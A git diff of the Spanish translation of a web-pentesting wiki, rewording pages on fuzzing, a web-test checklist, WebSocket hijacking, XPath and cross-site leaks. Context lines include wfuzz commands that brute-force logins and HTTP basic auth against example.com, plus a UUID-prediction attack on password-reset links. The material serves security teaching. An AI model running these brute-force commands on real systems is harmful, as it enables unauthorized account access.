La herramienta [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permite **generar variaciones de la entrada** para hacer fuzzing al backend. Para más información, consulta el **github** y este [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
La herramienta [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permite **generar variaciones de la entrada** para fuzzear el backend. Para más información, consulta el **github** y este [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -42,7 +42,7 @@ Imagina una aplicación web que utiliza UUID v1 para generar enlaces de restable
|
||||
|
||||
3. **Análisis**:
|
||||
|
||||
- El atacante ahora tiene dos UUID generados cerca en el tiempo (\`99874128\` y \`998796b4\`). Dada la naturaleza secuencial de los UUID basados en el tiempo, el UUID para la cuenta de la víctima probablemente caerá entre estos dos valores.
|
||||
- El atacante ahora tiene dos UUID generados cerca en el tiempo (\`99874128\` y \`998796b4\`). Dada la naturaleza secuencial de los UUID basados en el tiempo, es probable que el UUID para la cuenta de la víctima caiga entre estos dos valores.
|
||||
|
||||
4. **Ataque de Fuerza Bruta:**
|
||||
|
||||
|
||||
@ -62,7 +62,7 @@ wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=F
|
||||
```bash
|
||||
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
|
||||
```
|
||||
### Fuerza bruta de directorio/RESTful
|
||||
### Fuerza bruta de directorios/Fuerza bruta RESTful
|
||||
|
||||
[Lista de palabras de parámetros de Arjun](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
|
||||
```
|
||||
@ -74,7 +74,7 @@ wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FU
|
||||
```
|
||||
### Autenticación de Encabezado
|
||||
|
||||
#### **Básica, 2 listas, cadena de filtro (mostrar), proxy**
|
||||
#### **Básica, 2 listas, filtrar cadena (mostrar), proxy**
|
||||
```bash
|
||||
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
|
||||
```
|
||||
|
||||
@ -7,7 +7,7 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
|
||||
## Proxies
|
||||
|
||||
> [!NOTE]
|
||||
> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
|
||||
> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que haya un proxy vulnerable, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
|
||||
|
||||
- [ ] [**Abuso de encabezados hop-by-hop**](abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Envenenamiento de caché/Decepción de caché**](cache-deception/)
|
||||
@ -74,7 +74,7 @@ Cuando un websocket publica un mensaje o un formulario que permite a los usuario
|
||||
Dependiendo de los encabezados HTTP proporcionados por el servidor web, algunas vulnerabilidades podrían estar presentes.
|
||||
|
||||
- [ ] [**Clickjacking**](clickjacking.md)
|
||||
- [ ] [**Bypass de Política de Seguridad de Contenido**](content-security-policy-csp-bypass/)
|
||||
- [ ] [**Bypass de Política de Seguridad de Contenidos**](content-security-policy-csp-bypass/)
|
||||
- [ ] [**Hacking de Cookies**](hacking-with-cookies/)
|
||||
- [ ] [**CORS - Configuraciones Incorrectas y Bypass**](cors-bypass.md)
|
||||
|
||||
|
||||
@ -7,16 +7,16 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
|
||||
## Proxies
|
||||
|
||||
> [!NOTE]
|
||||
> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
|
||||
> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que haya un proxy vulnerable, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
|
||||
|
||||
- [ ] [**Abuso de encabezados hop-by-hop**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Envenenamiento de caché/Decepción de caché**](../cache-deception.md)
|
||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
|
||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
- [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Descubriendo Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**Inyección del lado del servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Bypass de Protecciones Proxy / WAF**](../proxy-waf-protections-bypass.md)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **Entrada del usuario**
|
||||
|
||||
@ -28,18 +28,18 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
|
||||
|
||||
Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la página podría ser vulnerable a varios problemas.
|
||||
|
||||
- [ ] [**Inyección de Plantillas del Lado del Cliente**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Inyección de Comandos**](../command-injection.md)
|
||||
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Command Injection**](../command-injection.md)
|
||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
- [ ] [**Markup Colgante**](../dangling-markup-html-scriptless-injection/)
|
||||
- [ ] [**Inclusión de Archivos/Recorrido de Rutas**](../file-inclusion/)
|
||||
- [ ] [**Redirección Abierta**](../open-redirect.md)
|
||||
- [ ] [**Contaminación de Prototipos a XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Falsificación de Solicitudes del Lado del Servidor**](../ssrf-server-side-request-forgery/)
|
||||
- [ ] [**Inyección de Plantillas del Lado del Servidor**](../ssti-server-side-template-injection/)
|
||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
||||
- [ ] [**Open Redirect**](../open-redirect.md)
|
||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
|
||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
|
||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**Inyección del lado del servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/)
|
||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](../xs-search.md)
|
||||
@ -54,52 +54,52 @@ Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, ot
|
||||
|
||||
Si la funcionalidad puede ser utilizada para buscar algún tipo de datos dentro del backend, tal vez puedas (mal) utilizarla para buscar datos arbitrarios.
|
||||
|
||||
- [ ] [**Inclusión de Archivos/Recorrido de Rutas**](../file-inclusion/)
|
||||
- [ ] [**Inyección NoSQL**](../nosql-injection.md)
|
||||
- [ ] [**Inyección LDAP**](../ldap-injection.md)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
|
||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**Inyección SQL**](../sql-injection/)
|
||||
- [ ] [**Inyección XPATH**](../xpath-injection.md)
|
||||
- [ ] [**SQL Injection**](../sql-injection/)
|
||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
|
||||
|
||||
### **Formularios, WebSockets y PostMsgs**
|
||||
|
||||
Cuando un websocket publica un mensaje o un formulario que permite a los usuarios realizar acciones, pueden surgir vulnerabilidades.
|
||||
|
||||
- [ ] [**Falsificación de Solicitudes entre Sitios**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Secuestro de WebSocket entre sitios (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**Vulnerabilidades de PostMessage**](../postmessage-vulnerabilities/)
|
||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
|
||||
|
||||
### **Encabezados HTTP**
|
||||
|
||||
Dependiendo de los encabezados HTTP proporcionados por el servidor web, algunas vulnerabilidades podrían estar presentes.
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Bypass de Política de Seguridad de Contenido**](../content-security-policy-csp-bypass/)
|
||||
- [ ] [**Hacking de Cookies**](../hacking-with-cookies/)
|
||||
- [ ] [**CORS - Configuraciones Incorrectas y Bypass**](../cors-bypass.md)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
|
||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
|
||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
|
||||
|
||||
### **Bypasses**
|
||||
|
||||
Hay varias funcionalidades específicas donde algunos métodos alternativos podrían ser útiles para eludirlas.
|
||||
|
||||
- [ ] [**Bypass de 2FA/OTP**](../2fa-bypass.md)
|
||||
- [ ] [**Bypass del Proceso de Pago**](../bypass-payment-process.md)
|
||||
- [ ] [**Bypass de Captcha**](../captcha-bypass.md)
|
||||
- [ ] [**Bypass de Inicio de Sesión**](../login-bypass/)
|
||||
- [ ] [**Condición de Carrera**](../race-condition.md)
|
||||
- [ ] [**Bypass de Límite de Tasa**](../rate-limit-bypass.md)
|
||||
- [ ] [**Bypass de Restablecimiento de Contraseña Olvidada**](../reset-password.md)
|
||||
- [ ] [**Vulnerabilidades de Registro**](../registration-vulnerabilities.md)
|
||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
|
||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
|
||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
|
||||
- [ ] [**Login Bypass**](../login-bypass/)
|
||||
- [ ] [**Race Condition**](../race-condition.md)
|
||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
|
||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
|
||||
- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
|
||||
|
||||
### **Objetos Estructurados / Funcionalidades Específicas**
|
||||
### **Objetos estructurados / Funcionalidades específicas**
|
||||
|
||||
Algunas funcionalidades requerirán que los **datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
|
||||
Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezados de Correo Electrónico).
|
||||
Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezado de Correo Electrónico).
|
||||
|
||||
- [ ] [**Deserialización**](../deserialization/)
|
||||
- [ ] [**Inyección de Encabezados de Correo Electrónico**](../email-injections.md)
|
||||
- [ ] [**Vulnerabilidades de JWT**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**Entidad Externa XML**](../xxe-xee-xml-external-entity.md)
|
||||
- [ ] [**Deserialization**](../deserialization/)
|
||||
- [ ] [**Email Header Injection**](../email-injections.md)
|
||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Archivos
|
||||
|
||||
@ -107,23 +107,23 @@ Las funcionalidades que permiten subir archivos podrían ser vulnerables a vario
|
||||
Las funcionalidades que generan archivos incluyendo la entrada del usuario podrían ejecutar código inesperado.\
|
||||
Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían verse comprometidos.
|
||||
|
||||
- [ ] [**Subida de Archivos**](../file-upload/)
|
||||
- [ ] [**Inyección de Fórmulas**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**Inyección de PDF**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**XSS del lado del servidor**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
- [ ] [**File Upload**](../file-upload/)
|
||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **Gestión de Identidad Externa**
|
||||
|
||||
- [ ] [**OAUTH para Toma de Cuenta**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**Ataques SAML**](../saml-attacks/)
|
||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML Attacks**](../saml-attacks/)
|
||||
|
||||
### **Otras Vulnerabilidades Útiles**
|
||||
|
||||
Estas vulnerabilidades podrían ayudar a explotar otras vulnerabilidades.
|
||||
|
||||
- [ ] [**Toma de Dominio/Subdominio**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Contaminación de Parámetros**](../parameter-pollution.md)
|
||||
- [ ] [**Vulnerabilidad de Normalización Unicode**](../unicode-injection/)
|
||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,14 +1,14 @@
|
||||
# WebSocket Attacks
|
||||
# Ataques de WebSocket
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Qué son los WebSockets
|
||||
## ¿Qué son los WebSockets?
|
||||
|
||||
Las conexiones WebSocket se establecen a través de un **HTTP** handshake inicial y están diseñadas para ser **de larga duración**, permitiendo la mensajería bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo.
|
||||
Las conexiones WebSocket se establecen a través de un **handshake HTTP** inicial y están diseñadas para ser **de larga duración**, permitiendo la mensajería bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo.
|
||||
|
||||
### Establecimiento de Conexiones WebSocket
|
||||
|
||||
Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket generalmente se inician a través de JavaScript del lado del cliente, como se muestra a continuación:
|
||||
Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen ser iniciadas a través de JavaScript del lado del cliente, como se muestra a continuación:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
@ -68,7 +68,7 @@ Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](htt
|
||||
### Herramientas de depuración de Websocket
|
||||
|
||||
- **Burp Suite** soporta la comunicación de websockets MitM de una manera muy similar a como lo hace para la comunicación HTTP regular.
|
||||
- La **extensión de Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **te permitirá gestionar mejor las comunicaciones de Websocket en Burp al obtener el **historial**, establecer **reglas de interceptación**, usar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater.**
|
||||
- La **extensión de Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **te permitirá gestionar mejor las comunicaciones de Websocket en Burp al obtener el** **historial**, establecer **reglas de interceptación**, usar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater.**
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL de websocket interactivo** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes de websocket entrantes y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación. 
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) es un **sitio web para comunicarse** con otros sitios usando **websockets**.
|
||||
@ -82,7 +82,7 @@ En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
|
||||
|
||||
El **secuestro de WebSocket entre sitios**, también conocido como **secuestro de WebSocket de origen cruzado**, se identifica como un caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afecta a los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican únicamente a través de **cookies HTTP** sin **tokens CSRF** o medidas de seguridad similares.
|
||||
|
||||
Los atacantes pueden explotar esto al alojar una **página web maliciosa** que inicia una conexión de WebSocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión de la víctima con la aplicación, aprovechando la falta de protección CSRF en el mecanismo de manejo de sesiones.
|
||||
Los atacantes pueden explotar esto al alojar una **página web maliciosa** que inicia una conexión de WebSocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión del víctima con la aplicación, aprovechando la falta de protección CSRF en el mecanismo de manejo de sesiones.
|
||||
|
||||
### Ataque Simple
|
||||
|
||||
@ -136,7 +136,7 @@ sudo python3 -m http.server 80
|
||||
```
|
||||
## Condiciones de carrera
|
||||
|
||||
Las Condiciones de carrera en WebSockets también son un tema, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
|
||||
Las Condiciones de carrera en WebSockets también son un problema, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
|
||||
|
||||
## Otras vulnerabilidades
|
||||
|
||||
@ -144,7 +144,7 @@ Dado que los Web Sockets son un mecanismo para **enviar datos al lado del servid
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Esta vulnerabilidad podría permitirte **eludir las restricciones de proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (incluso si no es cierto). Esto podría permitir a un atacante **acceder a endpoints ocultos**. Para más información, consulta la siguiente página:
|
||||
Esta vulnerabilidad podría permitirte **eludir las restricciones de proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (incluso si no es cierto). Esto podría permitir a un atacante **acceder a puntos finales ocultos**. Para más información, consulta la siguiente página:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
|
||||
@ -22,7 +22,7 @@ Las expresiones se utilizan para seleccionar varios nodos en un documento XML. E
|
||||
Ejemplos de expresiones de ruta y sus resultados incluyen:
|
||||
|
||||
- **bookstore**: Se seleccionan todos los nodos llamados "bookstore".
|
||||
- **/bookstore**: Se selecciona el elemento raíz bookstore. Se observa que una ruta absoluta a un elemento está representada por una ruta que comienza con una barra (/).
|
||||
- **/bookstore**: Se selecciona el elemento raíz bookstore. Se observa que una ruta absoluta a un elemento se representa con una ruta que comienza con una barra (/).
|
||||
- **bookstore/book**: Se seleccionan todos los elementos book que son hijos de bookstore.
|
||||
- **//book**: Se seleccionan todos los elementos book en el documento, independientemente de su ubicación.
|
||||
- **bookstore//book**: Se seleccionan todos los elementos book que son descendientes del elemento bookstore, sin importar su posición bajo el elemento bookstore.
|
||||
|
||||
@ -28,9 +28,9 @@ Varios aspectos pueden ser analizados para diferenciar los estados de la Web Vul
|
||||
|
||||
### Métodos de Inclusión
|
||||
|
||||
- **Elementos HTML**: HTML ofrece varios elementos para **inclusión de recursos de origen cruzado**, como hojas de estilo, imágenes o scripts, obligando al navegador a solicitar un recurso no HTML. Se puede encontrar una compilación de elementos HTML potenciales para este propósito en [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Elementos HTML**: HTML ofrece varios elementos para **inclusión de recursos de origen cruzado**, como hojas de estilo, imágenes o scripts, obligando al navegador a solicitar un recurso que no sea HTML. Se puede encontrar una compilación de elementos HTML potenciales para este propósito en [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Marcos**: Elementos como **iframe**, **object** y **embed** pueden incrustar recursos HTML directamente en la página del atacante. Si la página **carece de protección de enmarcado**, JavaScript puede acceder al objeto de ventana del recurso enmarcado a través de la propiedad contentWindow.
|
||||
- **Ventanas Emergentes**: El método **`window.open`** abre un recurso en una nueva pestaña o ventana, proporcionando un **manejador de ventana** para que JavaScript interactúe con métodos y propiedades siguiendo el SOP. Las ventanas emergentes, a menudo utilizadas en el inicio de sesión único, eluden las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de ventanas emergentes a ciertas acciones del usuario.
|
||||
- **Ventanas emergentes**: El método **`window.open`** abre un recurso en una nueva pestaña o ventana, proporcionando un **manejador de ventana** para que JavaScript interactúe con métodos y propiedades siguiendo el SOP. Las ventanas emergentes, a menudo utilizadas en inicio de sesión único, eluden las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de ventanas emergentes a ciertas acciones del usuario.
|
||||
- **Solicitudes de JavaScript**: JavaScript permite solicitudes directas a recursos objetivo utilizando **XMLHttpRequests** o la **Fetch API**. Estos métodos ofrecen un control preciso sobre la solicitud, como optar por seguir redirecciones HTTP.
|
||||
|
||||
### Técnicas de Filtración
|
||||
@ -65,7 +65,7 @@ Para más información: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks]
|
||||
|
||||
- **Métodos de Inclusión**: Marcos, Elementos HTML
|
||||
- **Diferencia Detectable**: Código de Estado
|
||||
- **Más info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
- **Más información**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
- **Resumen**: si se intenta cargar un recurso, se activan eventos onerror/onload cuando el recurso se carga con éxito/sin éxito, es posible averiguar el código de estado.
|
||||
- **Ejemplo de código**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
||||
|
||||
@ -105,7 +105,7 @@ xs-search/performance.now-+-force-heavy-task.md
|
||||
|
||||
### Tiempo de unload/beforeunload
|
||||
|
||||
- **Métodos de Inclusión**: Frames
|
||||
- **Métodos de Inclusión**: Marcos
|
||||
- **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||||
- **Resumen:** El [reloj SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) se puede usar para medir cuánto tiempo toma realizar una solicitud. Se podrían usar otros relojes.
|
||||
@ -113,15 +113,15 @@ xs-search/performance.now-+-force-heavy-task.md
|
||||
|
||||
El tiempo tomado para obtener un recurso se puede medir utilizando los eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) y [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). El evento **`beforeunload`** se activa cuando el navegador está a punto de navegar a una nueva página, mientras que el evento **`unload`** ocurre cuando la navegación está realmente teniendo lugar. La diferencia de tiempo entre estos dos eventos se puede calcular para determinar la **duración que el navegador pasó obteniendo el recurso**.
|
||||
|
||||
### Tiempo de Frame Aislado + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||||
### Tiempo de Marco Aislado + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||||
|
||||
- **Métodos de Inclusión**: Frames
|
||||
- **Métodos de Inclusión**: Marcos
|
||||
- **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||||
- **Resumen:** La [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API se puede usar para medir cuánto tiempo toma realizar una solicitud. Se podrían usar otros relojes.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||||
|
||||
Se ha observado que en ausencia de [Protecciones de Framing](https://xsleaks.dev/docs/defenses/opt-in/xfo/), el tiempo requerido para que una página y sus subrecursos se carguen a través de la red puede ser medido por un atacante. Esta medición es típicamente posible porque el controlador `onload` de un iframe se activa solo después de la finalización de la carga de recursos y la ejecución de JavaScript. Para eludir la variabilidad introducida por la ejecución de scripts, un atacante podría emplear el atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dentro del `<iframe>`. La inclusión de este atributo restringe numerosas funcionalidades, notablemente la ejecución de JavaScript, facilitando así una medición que está predominantemente influenciada por el rendimiento de la red.
|
||||
Se ha observado que en ausencia de [Protecciones de Enmarcado](https://xsleaks.dev/docs/defenses/opt-in/xfo/), el tiempo requerido para que una página y sus subrecursos se carguen a través de la red puede ser medido por un atacante. Esta medición es típicamente posible porque el controlador `onload` de un iframe se activa solo después de la finalización de la carga de recursos y la ejecución de JavaScript. Para eludir la variabilidad introducida por la ejecución de scripts, un atacante podría emplear el atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dentro del `<iframe>`. La inclusión de este atributo restringe numerosas funcionalidades, notablemente la ejecución de JavaScript, facilitando así una medición que está predominantemente influenciada por el rendimiento de la red.
|
||||
```javascript
|
||||
// Example of an iframe with the sandbox attribute
|
||||
<iframe src="example.html" sandbox></iframe>
|
||||
@ -129,7 +129,7 @@ Se ha observado que en ausencia de [Protecciones de Framing](https://xsleaks.dev
|
||||
### #ID + error + onload
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenido de la Página
|
||||
- **Detectable Difference**: Contenido de la página
|
||||
- **More info**:
|
||||
- **Summary**: Si puedes hacer que la página dé un error cuando se accede al contenido correcto y hacer que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo.
|
||||
- **Code Example**:
|
||||
@ -147,12 +147,12 @@ Si la primera URL se **cargó correctamente**, entonces, al **cambiar** la parte
|
||||
|
||||
Entonces, puedes **distinguir entre** una página **cargada correctamente** o una página que tiene un **error** al ser accedida.
|
||||
|
||||
### Javascript Execution
|
||||
### Ejecución de Javascript
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenido de la Página
|
||||
- **Detectable Difference**: Contenido de la página
|
||||
